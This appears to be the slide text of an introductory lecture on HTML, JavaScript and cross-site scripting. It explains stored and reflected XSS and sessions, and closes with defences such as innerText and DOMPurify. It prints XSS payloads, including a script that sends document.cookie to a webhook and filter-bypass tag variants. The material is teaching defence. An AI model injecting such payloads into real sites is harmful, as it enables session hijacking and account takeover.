whoami
FOO="fake admin"
HTML is just a funky way to define boxes on a website.
For example what does this look like?
<div style="background-color:blue;text-align:center;">
Box
</div>
What about this?
<div style="background-color:blue;text-align:center;">
Box
</div>
<div style="background-color:red;text-align:center;">
Box
</div>
Who knows Python?
Who knows C?
Who knows Java?
Does anyone here not know any of these?
Great so if you know basically any programming language, you are half way there.
Demo Time
# In Python we do
print("Hello World");
// In Javascript we do
console.log("Hello World");
document.location = "https://www.google.com";
print("JESSE");
document.querySelectorAll("*").forEach((element) => {
element.style.backgroundColor = "red";
});
What is the <script>
tag?
We can make javascript run on someone elses computer!
XSS is basically any vulnerability that allows javascript to run on someone elses computer.
Stored XSS: Javascript that is stored (usually in a database) and is executed!
Reflected XSS: Javascript that is stored somewhere on your personal browser/link and will be executed when a page is opened
DOM BASED XSS (not assessable)
Stored XSS is really bad because it is persistent
Reflected is not as bad because it requires the user to do something (clicking a link perhaps).
What is a session?
JESSE REALISES THAT HE IS LOGGED OUT OF GOOGLE
document.cookie;
// Attacker can steal all of my cookies and login as me!
<script>send_to_attacker(document.cookie)</script>
<script>
fetch("webhookurl?"+ document.cookie)
</script>
<script>alert(1)</script>
<script>console.log("haqd")</script>
<script>print("haqd")</script>
<img src="x" onerror="alert(1)" />
.innerHTML
treats content as HTML (control)
.innerText
which treats it as datasanitize your input with a library (DOMPurify???)
don’t write vanilla JS, use a framework.
<SCRscriptIPT>
<ScRiPt>
<img onerror=...>
<body onload=...>
no
yes
read more here